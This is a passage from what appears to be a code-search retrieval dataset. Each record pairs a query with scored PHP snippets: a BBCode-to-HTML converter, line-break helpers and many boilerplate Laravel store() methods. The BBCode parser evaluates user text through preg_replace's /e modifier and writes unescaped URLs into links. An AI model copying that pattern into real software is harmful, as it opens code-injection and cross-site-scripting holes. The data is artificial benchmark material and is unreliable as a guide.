preg_replace('`\\[bg=(.*?)\\](.*?(\\[/bg\\]\\[/bg\\].*?)*)\\[/bg\\](?!(\\[/bg\\]))`ie','\"<font style=\\\"background-color:\\\\1;\\\">\".str_replace(\"[/bg][/bg]\",\"[/bg]\",\"\\\\2\").\"</font>\"',$p_text);\n\n //$p_text = preg_replace('`\\[size=([^[]*)\\]([^[]*)\\[/size\\]`i','<font size=\"\\\\1\">\\\\2</font>',$p_text);\n //$p_text = preg_replace('`\\[size=(.*?)\\](.*?)\\[/size\\]`i','<font size=\"\\\\1\">\\\\2</font>',$p_text);\n // Information : Double [/size][/size] to avoid end of font size area\n $p_text = preg_replace('`\\[size=(.*?)\\](.*?(\\[/size\\]\\[/size\\].*?)*)\\[/size\\](?!(\\[/size\\]))`ie','\"<font size=\\\"\\\\1\\\">\".str_replace(\"[/size][/size]\",\"[/size]\",\"\\\\2\").\"</font>\"',$p_text);\n\n //$p_text = preg_replace('`\\[font=([^[]*)\\]([^[]*)\\[/font\\]`i','<font face=\"\\\\1\">\\\\2</font>',$p_text);\n //$p_text = preg_replace('`\\[font=(.*?)\\](.*?)\\[/font\\]`i','<font face=\"\\\\1\">\\\\2</font>',$p_text);\n // Information : Double [/font][/font] to avoid end of font area\n $p_text = preg_replace('`\\[font=(.*?)\\](.*?(\\[/font\\]\\[/font\\].*?)*)\\[/font\\](?!(\\[/font\\]))`ie','\"<font face=\\\"\\\\1\\\">\".str_replace(\"[/font][/font]\",\"[/font]\",\"\\\\2\").\"</font>\"',$p_text);\n\n // Information : Double [/url][/url] to avoid end of URL area\n $p_text = preg_replace('`\\[url\\](.*?(\\[/url\\]\\[/url\\].*?)*)\\[/url\\](?!(\\[/url\\]))`ie','\"<a target=\\\"_blank\\\" href=\\\"\".str_replace(\"[/url][/url]\",\"[/url]\",\"\\\\1\").\"\\\">\".str_replace(\"[/url][/url]\",\"[/url]\",\"\\\\1\").\"</a>\"',$p_text);\n $p_text = preg_replace('`\\[url=(.*?)\\](.*?(\\[/url\\]\\[/url\\].*?)*)\\[/url\\](?!(\\[/url\\]))`ie','\"<a target=\\\"_blank\\\" href=\\\"\\\\1\\\">\".str_replace(\"[/url][/url]\",\"[/url]\",\"\\\\2\").\"</a>\"',$p_text);\n\n // Found a randomized string do not exists in string to convert\n $temp_str = '7634253332';while(stristr($p_text,$temp_str)){$temp_str = mt_rand();}\n $p_text = str_replace('[br][br]',$temp_str,$p_text);\n $p_text = preg_replace('`(?<!\\[br\\])\\[br\\](?!(\\[br\\]))`ie','str_replace(\"[br]\",\"<br>\",\"\\\\0\")',$p_text);\n $p_text = str_replace($temp_str,'[br]',$p_text);\n\n // Found a randomized string do not exists in string to convert\n $temp_str = '7634253332';while(stristr($p_text,$temp_str)){$temp_str = mt_rand();}\n $p_text = str_replace('[hr][hr]',$temp_str,$p_text);\n $p_text = preg_replace('`(?<!\\[hr\\])\\[hr\\](?!(\\[hr\\]))`ie','str_replace(\"[hr]\",\"<hr>\",\"\\\\0\")',$p_text);\n $p_text = str_replace($temp_str,'[hr]',$p_text);\n\n return $p_text;\n\t\t}", "title": "" }, { "docid": "fe3ac7e714cd454db048916335e53a83", "score": "0.4986321", "text": "function ppfpnConvertPlainTextToHTML($s) {\n $LineFeed = strpos($s,\"\\r\\n\")!==false ? \"\\r\\n\" : ( strpos($s,\"\\n\")!==false ? \"\\n\" : \"\\r\" );\n $s = trim($s); \n $s = strpos($s,\"\\n\")===false ? str_replace(\"\\r\",\"\\n\",$s) : str_replace(\"\\r\",'',$s);\n $s = preg_replace('/\\n\\n+/','</p><p class=\"ppfpn-p-margin\">~~N-n~--',$s);\n $s = str_replace('~~N-n~--',\"\\n\",$s);\n $s = \"<p class='ppfpn-p-margin'>\\n$s\\n</p>\";\n\n // make all linefeeds into 7F \n $s = str_replace(\"\\n\",chr(0x7f),$s); \n\n // Insert line number in front of the line\n $linenum = 1;\n $ss = $s;\n $cnt = 1;\n $backn = chr(0x7f);\n while ($cnt == 1) {\n $newnum = chr(0x0a) . \"<span class='ppfpn-log-num'>\" . sprintf('%05d', $linenum++) . '</span>' . \" \"; \n $s = str_replace_first($backn, $newnum, $s, $cnt);\n }\n return $s;\n}", "title": "" }, { "docid": "94138e86cbbd550d0b46ace265f38fc2", "score": "0.49739084", "text": "public function add_p( $text )\n\t{\n\t\t$regex = apply_filters( 'pdwp_add_p_regex', '{^$|^<(p|ul|ol|dl|pre|blockquote)>}i' );\n\n\t\tif ( !preg_match( $regex, $text ) ) {\n\t\t\t$text = '<p>' . $text . '</p>';\n\t\t\t$text = preg_replace( '{\\n{2,}}', \"</p>\\n\\n<p>\", $text );\n\t\t}\n\n\t\treturn apply_filters( 'pdwp_add_p', $text );\n\t}", "title": "" }, { "docid": "21110a987b9bce7b18a41182de36035d", "score": "0.49512315", "text": "function br($string){\n return str_replace(\"\\n\", \"<br />\", $string);\n}", "title": "" }, { "docid": "20dc0a839b17e30b0be736412d507f93", "score": "0.49476504", "text": "function n2br($string) {\r\n\r\n $stuff = array('\\r\\n', '\\n', '\\r');\r\n $string = str_replace($stuff, \"<br/>\", $string);\r\n\r\n return trim($string);\r\n}", "title": "" }, { "docid": "3decfd806b29f86fbec96c24beb236ed", "score": "0.49462315", "text": "function unescape_br($string) {\n return str_replace( '&lt;br /&gt;', '<br/>', $string);\n}", "title": "" }, { "docid": "e109fc4a0b6239238a692243eea321ee", "score": "0.4942834", "text": "function htmlwrap($str, $width = 60, $break = \"\\n\", $nobreak = \"\") {\n\n\t // Split HTML content into an array delimited by < and >\n\t // The flags save the delimeters and remove empty variables\n\t $content = preg_split(\"/([<>])/\", $str, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);\n\n\t // Transform protected element lists into arrays\n\t $nobreak = explode(\" \", strtolower($nobreak));\n\n\t // Variable setup\n\t $intag = false;\n\t $innbk = array();\n\t $drain = \"\";\n\n\t // List of characters it is \"safe\" to insert line-breaks at\n\t // It is not necessary to add < and > as they are automatically implied\n\t $lbrks = \"/?!%)-}]\\\\\\\"':;&\";\n\n\t // Is $str a UTF8 string?\n//\t $utf8 = (preg_match(\"/^([\\x09\\x0A\\x0D\\x20-\\x7E]|[\\xC2-\\xDF][\\x80-\\xBF]|\\xE0[\\xA0-\\xBF][\\x80-\\xBF]|[\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2}|\\xED[\\x80-\\x9F][\\x80-\\xBF]|\\xF0[\\x90-\\xBF][\\x80-\\xBF]{2}|[\\xF1-\\xF3][\\x80-\\xBF]{3}|\\xF4[\\x80-\\x8F][\\x80-\\xBF]{2})*$/\", $str)) ? \"u\" : \"\";\n\t // original utf8 problems seems to cause problems with very long text (forumposts)\n\t // replaced by a little simpler function call by fxstein 8-13-08\n\t $utf8 = (mb_detect_encoding($str . 'a' , 'UTF-8') == 'UTF-8') ? \"u\" : \"\";\n\n\t while (list(, $value) = each($content)) {\n\t switch ($value) {\n\n\t // If a < is encountered, set the \"in-tag\" flag\n\t case \"<\": $intag = true; break;\n\n\t // If a > is encountered, remove the flag\n\t case \">\": $intag = false; break;\n\n\t default:\n\n\t // If we are currently within a tag...\n\t if ($intag) {\n\n\t // Create a lowercase copy of this tag's contents\n\t $lvalue = strtolower($value);\n\n\t // If the first character is not a / then this is an opening tag\n\t if ($lvalue{0} != \"/\") {\n\n\t // Collect the tag name\n\t preg_match(\"/^(\\w*?)(\\s|$)/\", $lvalue, $t);\n\n\t // If this is a protected element, activate the associated protection flag\n\t if (in_array($t[1], $nobreak)) array_unshift($innbk, $t[1]);\n\n\t // Otherwise this is a closing tag\n\t } else {\n\n\t // If this is a closing tag for a protected element, unset the flag\n\t if (in_array(substr($lvalue, 1), $nobreak)) {\n\t reset($innbk);\n\t while (list($key, $tag) = each($innbk)) {\n\t if (substr($lvalue, 1) == $tag) {\n\t unset($innbk[$key]);\n\t break;\n\t }\n\t }\n\t $innbk = array_values($innbk);\n\t }\n\t }\n\n\t // Else if we're outside any tags...\n\t } else if ($value) {\n\n\t // If unprotected...\n\t if (!count($innbk)) {\n\n\t // Use the ACK (006) ASCII symbol to replace all HTML entities temporarily\n\t $value = str_replace(\"\\x06\", \"\", $value);\n\t preg_match_all(\"/&([a-z\\d]{2,7}|#\\d{2,5});/i\", $value, $ents);\n\t $value = preg_replace(\"/&([a-z\\d]{2,7}|#\\d{2,5});/i\", \"\\x06\", $value);\n\n\t // Enter the line-break loop\n\t do {\n\t $store = $value;\n\n\t // Find the first stretch of characters over the $width limit\n\t if (preg_match(\"/^(.*?\\s)?([^\\s]{\".$width.\"})(?!(\".preg_quote($break, \"/\").\"|\\s))(.*)$/s{$utf8}\", $value, $match)) {\n\n\t if (strlen($match[2])) {\n\t // Determine the last \"safe line-break\" character within this match\n\t for ($x = 0, $ledge = 0; $x < strlen($lbrks); $x++) $ledge = max($ledge, strrpos($match[2], $lbrks{$x}));\n\t if (!$ledge) $ledge = strlen($match[2]) - 1;\n\n\t // Insert the modified string\n\t $value = $match[1].substr($match[2], 0, $ledge + 1).$break.substr($match[2], $ledge + 1).$match[4];\n\t }\n\t }\n\n\t // Loop while overlimit strings are still being found\n\t } while ($store != $value);\n\n\t // Put captured HTML entities back into the string\n\t foreach ($ents[0] as $ent) $value = preg_replace(\"/\\x06/\", $ent, $value, 1);\n\t }\n\t }\n\t }\n\n\t // Send the modified segment down the drain\n\t $drain .= $value;\n\t }\n\n\t // Return contents of the drain\n\t return $drain;\n\t}", "title": "" }, { "docid": "d0e6ea2aa537c7cc116f0f5123b98aa8", "score": "0.49412832", "text": "function textBreak() {\n if ($this->isWebPage) { \n $this->lineStart();\n print '<br>';\n } \n //--?????? maybe buggy\n //else if ($this->inReportSection) \n // $this->export->domLineBreak(); //?????? not defined\n // in DOM two text strings are two lines or can send <br> in text \n}", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "7fbd5f335dcee1bbcdacfe2924405474", "score": "0.0", "text": "public function store(ProductRequest $request)\n {\n try {\n $model = new Product($request->all());\n $model->save();\n\n FlashMessages::add('success', trans('messages.save_ok'));\n\n return Redirect::route('admin.'.$this->module.'.index');\n } catch (Exception $e) {\n FlashMessages::add('error', trans('messages.save_failed'));\n\n return Redirect::back()->withInput();\n }\n }", "title": "" } ]
[ { "docid": "08bf051ddd8fb321ee757b920958e19f", "score": "0.7096662", "text": "public function save()\n {\n if($this->saved()) $this->client->put($this->router->path($this->_id), $this->attributes);\n else {\n // create the resource\n $response = $this->client->post($this->router->path(), $this->attributes);\n $this->_id = $response['id'];\n $this->exists = true;\n }\n }", "title": "" }, { "docid": "1d53a1b85330dbd54b2110d38f49c072", "score": "0.6818138", "text": "public function store() {\n\t\treturn $this->attemptEdit(new Resource(), true);\n\t}", "title": "" }, { "docid": "c3547b2773825a7810dd2d7be213c014", "score": "0.68021417", "text": "public function store()\n {\n try\n {\n $this->execute('Chenkacrud\\Resources\\ProcessResourceCommand');\n } catch (\\Exception $e)\n {\n dd('error');\n }\n }", "title": "" }, { "docid": "6842710d2e1af6b300f62eeb2e1bd88e", "score": "0.6770982", "text": "public function store(StoreResourceRequest $request)\n {\n $resource = new Resource;\n $resource->fill($request->all());\n\n if ($request->has('audio')) {\n $resource->audio = $request->audio->store('resources');\n }\n\n if ($request->has('document')) {\n $resource->document = $request->document->store('resources');\n }\n\n $resource->saveOrFail();\n\n return $this->api_success([\n 'data' => new ResourceResource($resource),\n 'message' => __('pages.responses.created'),\n 'code' => 201\n ], 201);\n }", "title": "" }, { "docid": "e51fa81f584f17798f0483bf328bf426", "score": "0.6715994", "text": "public function store()\n\t{\n\t\t$input = Input::except(array_keys($this->relationships)); // Less safe, more convenient\n\t\t//$input = Input::only(array_keys($this->resource->getFillableLabels())); //More safe, less convenient\n\t\t$this->resource = $this->resource->fill($input);\n\n\t\treturn $this->persist(__FUNCTION__);\n\t}", "title": "" }, { "docid": "42778db7569f0d4906b7ddc48c115b07", "score": "0.67078465", "text": "public function store()\n\t{ \n\t\t$resource = $this->resourceRepository->newResource();\n\t\t$manager = new ResourceManager($resource, Input::all());\n\n\t\t$manager->save();\n\t\t\n\t\treturn Redirect::route('resource')->with('successMessage', 'El recurso se ha guardado con éxito.');\n\t}", "title": "" }, { "docid": "ffb15df04a92a2bd0c39d006dbfccb17", "score": "0.6673808", "text": "public function store()\n {\n return $this->okResponse(\n new $this->resource(\n $this->service->store()\n )\n );\n }", "title": "" }, { "docid": "bf05263acc6d31d87c9ed0ed323947e0", "score": "0.6644895", "text": "public function store(string $storagePath): self;", "title": "" }, { "docid": "883aa81cab86540535ca6f5ce9f06662", "score": "0.65973693", "text": "public function store()\n {\n // Check whether the object has ever been stored.\n if ($this->isNew) {\n Logger::get()->debug('Storing new entity ' . get_class($this) . '...');\n // Create the record. Get an ID back.\n $this->id = $this->getDataSource()->create($this->getFieldsData());\n // Store this object in the appropriate factory for further use.\n $this->getFactory()->registerEntity($this);\n } else {\n Logger::get()->debug('Updating entity ' . get_class($this) . \":{$this->id}...\");\n $this->getDataSource()->update($this->id, $this->getFieldsData());\n }\n\n // Once stored, the entity is no longer new.\n $this->isNew = false;\n }", "title": "" }, { "docid": "682cf9175057b843f439d49243f35e43", "score": "0.65576404", "text": "public function store()\n {\n try {\n\n $fields = request()->all();\n\n if ($this->validator instanceof LaravelValidator)\n $this->validator->with($fields)->passesOrFail(ValidatorInterface::RULE_CREATE);\n\n if ($this->fileManager instanceof FileManager){\n $files = request()->allFiles();\n\n foreach ($files as $key => $value) {\n $fields[$key] = $this->fileManager->saveFile(request()->file($key), 'jokes');\n }\n }\n\n $createdData = $this->repository->create($fields);\n\n $response = [\n 'message' => 'Resource created.',\n 'data' => $createdData->toArray(),\n ];\n\n if (request()->wantsJson()) {\n\n return response()->json($response);\n }\n\n return redirect(route($this->routeName.'.index'))->with('message', $response['message']);\n\n } catch (ValidatorException $e) {\n if (request()->wantsJson()) {\n return response()->json([\n 'error' => true,\n 'message' => $e->getMessageBag()\n ]);\n }\n\n return redirect()->back()->withErrors($e->getMessageBag())->withInput();\n }\n }", "title": "" }, { "docid": "594b28921afbb12a0e454c67e44f856f", "score": "0.6458144", "text": "public function store()\n {\n try {\n\n $fields = request()->all();\n\n if ($this->validator instanceof LaravelValidator)\n $this->validator->with($fields)->passesOrFail(ValidatorInterface::RULE_CREATE);\n\n if ($this->fileManager instanceof FileManager){\n $files = request()->allFiles();\n\n foreach ($files as $key => $value) {\n $fields[$key] = $this->fileManager->saveFile(request()->file($key), 'jokes');\n }\n }\n\n $createdData = $this->service->create($fields);\n\n $response = [\n 'message' => 'Resource created.',\n 'data' => $createdData->toArray(),\n ];\n\n if (request()->wantsJson()) {\n\n return response()->json($response);\n }\n\n return redirect(route($this->routeName.'.index'))->with('message', $response['message']);\n\n } catch (ValidatorException $e) {\n if (request()->wantsJson()) {\n return response()->json([\n 'error' => true,\n 'message' => $e->getMessageBag()\n ]);\n }\n\n return redirect()->back()->withErrors($e->getMessageBag())->withInput();\n }\n }", "title": "" }, { "docid": "c4a6400468605f94c95346b88f6f2008", "score": "0.6449451", "text": "public function store(string $type, string $id, array $data) : StorageInterface;", "title": "" }, { "docid": "e0d7c11298835364d1614d7fbef2631c", "score": "0.6432639", "text": "public function store()\n {\n $data = (new TagValidator)->validate(request()->all());\n $title = Arr::get($data, 'title');\n\n try {\n // Database exception happened so tag not created\n Tag::query()\n ->create([\n 'title' => $title,\n ]);\n\n } catch (QueryException $e) {\n dump('===== Error =====');\n dump($e->getMessage());\n dump('===== Error =====');\n }\n\n $tag = optional(Tag::query()\n ->where('title', $title)\n ->first());\n\n // Links will create with no tag linked to it\n collect(Arr::get($data, 'links'))\n ->each(function ($link) use ($tag) {\n Link::query()\n ->create([\n 'title' => Arr::get($link, 'title'),\n 'url' => Arr::get($link, 'url'),\n 'tag_id' => $tag->id\n ]);\n });\n\n\n return TagResource::make($tag->load('links'));\n }", "title": "" }, { "docid": "5fe3bd8f1f685c0f002d9e7c106f705e", "score": "0.6401223", "text": "public function save($resource) {\n $stmt = $this->db->prepare(\"INSERT INTO resource (id, name, description, quantity, type)\n values (0,?,?,?,?)\");\n $stmt->execute(array($resource->getName(),$resource->getDescription(),$resource->getQuantity(),\n $resource->getType()));\n }", "title": "" }, { "docid": "96db6e3f6a4372c5200ed59ea22c5213", "score": "0.6391026", "text": "public function create() {\n $this->storage_dir->touch();\n $this->storage_file->touch();\n }", "title": "" }, { "docid": "94e2137d286af73e1907a20ffd26c05f", "score": "0.63909644", "text": "public function store(Request $request)\n\t{\n $validator = $this->validate($request, [\n \t//\n ]);\n\n try\n {\n \t$newResource = $this->repository->createResource($request->all());\n\n } catch(\\Exception $exception)\n {\n $this->flashErrorAndReturnWithMessage($exception);\n }\n\n // returns back with success message\n flash()->success('Your resource was added!');\n return redirect()->action('Admin\\Catalogue\\ResourcesController@index');\n\t}", "title": "" }, { "docid": "55b375ea7c339e8f0e9c38919b53b1db", "score": "0.63734114", "text": "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "e6a2ecff8be90a692566c0ac3bcd7773", "score": "0.63637507", "text": "public function store()\r\n\t\t{\r\n\t\t\t//\r\n\t\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63628685", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63628685", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63628685", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63628685", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63628685", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63628685", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "8aec92e17d4ffebeefab6cee733407cb", "score": "0.6354075", "text": "public function store()\n\t{\n\t\t$data = Input::get();\n\n\t\t$item = $this->repo->create($data);\n\n\t\t$resource = new Item($item, $this->transformer);\n\n\t\treturn $this->response($resource, 201);\n\t}", "title": "" }, { "docid": "fa7c0a35fe78f5965a80622583f4e02b", "score": "0.635236", "text": "public function store(Request $request)\n {\n $requestData = $request->all();\n unset($requestData[\"_token\"]);\n $requestData = json_encode($requestData);\n ResourcesService::postToResourcesTable($requestData);\n SyncService::SyncResourcesTable();\n return redirect('admin/resources')->with('flash_message', 'Resource added!');\n }", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
a41537c04b17768f5932d0e5d2727ab3
Freeze or unfreeze a chat.
